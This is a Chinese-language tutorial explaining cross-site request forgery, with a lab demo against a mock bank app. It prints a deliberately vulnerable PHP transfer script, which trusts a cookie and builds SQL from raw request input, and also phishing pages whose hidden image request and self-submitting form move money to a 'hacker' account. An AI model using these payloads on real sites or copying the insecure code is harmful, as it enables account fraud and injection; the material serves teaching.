4.1CSRF介紹

跨站點請求僞造(CSRF)

CSRF簡介

  • CSRF( Cross-Site Request Forgery)是指跨站請求僞造,也常常被稱爲“ One Click Attack或者“ Session Riding”,通常縮寫爲CSRF或是XSRF。

  • 雖然CSRF聽起來像XSS跨站腳本攻擊,但CSRF與XSS的攻擊方式完全不同。

  • CSRF與XSS相比,雖然CSRF攻擊不太流行,但卻更加難以防範,所以被認爲CSRF比XSS更具危險性,CSRF在業內具有“甦醒的巨人”的稱號。

  • 可以這麼理解CSRF攻擊:

    攻擊者盜用了你的身份,以你的名義進行某些非法操作。
    CSRF能夠使用你的賬戶發送郵件,獲取你的敏感信息,甚至盜走你的財產。
    

CSRF攻擊原理

會話的產生、使用、結束

  • 當我們打開或登錄某個網站後,瀏覽器與網站所存放的服務器將會產生一個會話
  • 在這個會話沒有結束時,你就可以利用你的權限對網站進行某些操作,如:發表文章、發送郵件、刪除文章等。
  • 當這個會話結束後,你再進行某些操作的時候,Web應用程序可能會提示你“您的會話已過期”、“請重新登錄”等提示。

會話的案例

  • 登錄網上銀行後,瀏覽器已經跟可信的站點建立了一個經過認證的會話。
  • 之後,所有通過這個經過認證的會話發送請求,都被視爲可信的動作,例如,
    轉賬、匯款等操作。
  • 當我們在一段時間內不進行操作後,經過認證的會話可能會斷開,再次進行
    轉賬、匯款操作時,這個站點可能會提示你:您的身份已過期,請重新登錄、會話已結束等信息。

CSRF攻擊是建立在會話之上的

  • 當你登錄了網上銀行,正在進行轉賬業務,
  • 這時你的某個QQ好友(攻擊者)發來一條消息(URL),這條消息是攻擊者精心構造的轉賬業務代碼,而且與你所登錄的是同一家網絡銀行,
  • 你可能認爲這個網站是安全的,然而當你打開了這條URL後,你賬戶中的餘額可能會全部丟失。

總結

  • 因爲你的瀏覽器正處於與此網站的會話之中,那麼任何操作都是合法的,
  • 而攻擊者構造的這段代碼只不過是正常的轉賬操作代碼而已

CSRF攻擊案例

攻擊案例

bank server的轉賬代碼

<?php
include './config.inc.php';
if(isset($_COOKIE['username'])){
	var_dump($_REQUEST);
	var_dump($_COOKIE);

	$from['name']=$_COOKIE['username'];
	$to['name']=$_REQUEST['username'];
	$money=$_REQUEST['money'];

	var_dump($from);
	var_dump($to);
	var_dump($money);	

	//對轉賬主體的操作,查金額,減少金額
	$link = mysqli_connect($db_host,$db_user,$db_psd,$db_name);
	$sql_from = "select money from member where name='{$from['name']}'";
	//echo $sql_from ;
	$results = mysqli_query($link,$sql_from);
	$result=mysqli_fetch_assoc($results);
	$from['money']=$result['money'];
	
	$from['money']-=$money;
	
	$sql_from ="update member set money='{$from['money']}' where name='{$from['name']}'";
	mysqli_query($link,$sql_from);

	//對轉賬客體操作,查金額,增加數據
	$sql_to="select money from member where name='{$to['name']}'";
	$results=mysqli_query($link,$sql_to);
	$result=mysqli_fetch_assoc($results);
	$to['money']=$result['money'];
	
	$to['money']+=$money;

	$sql_to ="update member set money='{$to['money']}' where name='{$to['name']}'";
	mysqli_query($link,$sql_to);
	//寫入轉賬記錄
	
	$sql_r="insert into record(from_name,to_name,money)values('{$from['name']}','{$to['name']}','{$money}')";
	mysqli_query($link,$sql_r);

	header("Location:./self.php");	
	
}else{
	echo "Error!";
}

?>
  • 主要是username、money的值,代表給username轉賬money

第一步:環境搭建

在這裏插入圖片描述

第二步 test登錄bank server,查看自己的金額

在這裏插入圖片描述

第三步 test同時訪問hack server服務器上的釣魚網站

在這裏插入圖片描述

第四步 test用戶點擊釣魚網站的鏈接

在這裏插入圖片描述

第五步 test再次查看自己的金額,發現金額減少

在這裏插入圖片描述

代碼分析

釣魚網站的首頁index.html

<meta charset='utf-8'>
<img src='./1.jpg'><br />
<a href='get.html' style='color:red;font-size:100px'>屠龍寶刀,點擊就送 通道一</a><br />
<a href='post.html' style='color:red;font-size:100px'>屠龍寶刀,點擊就送 通道二</a><br />

通道一:使用get方式提交:get.html

meta charset='utf-8'>
<img src='./1.jpg'><br />
<img src='http://192.168.146.147/bank/action.php?
username=hacker&money=100&submit=%E4%BA%A4%E6%98%93'
alt='寶刀在手,誰與爭鋒'>
  • src=…表示跳轉到轉賬界面
  • username=hacker代表轉賬的對方名稱
  • money=100代表轉賬的金額
  • submit=submit代表提交

通道二:使用post方式提交:post.html

<meta charset='utf-8'>
<form name='csrf' action='http://192.146.147/bank/action.php' method='post'>
<input type='hidden' name='username' value='hacker'>
<input type='hidden' name='money' value='100'>
</form>
<script>document.csrf.submit()</script>
<img src="./1.jpg" ><br />
<!--<a href='javascript:document.csrf.submit()' style='color:red;font-size:100px'>寶刀在手,誰與爭鋒</a><br />

總結

  • CSRF的攻擊建立在瀏覽器與Web服務器的會話中
  • 欺騙用戶訪問URL
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章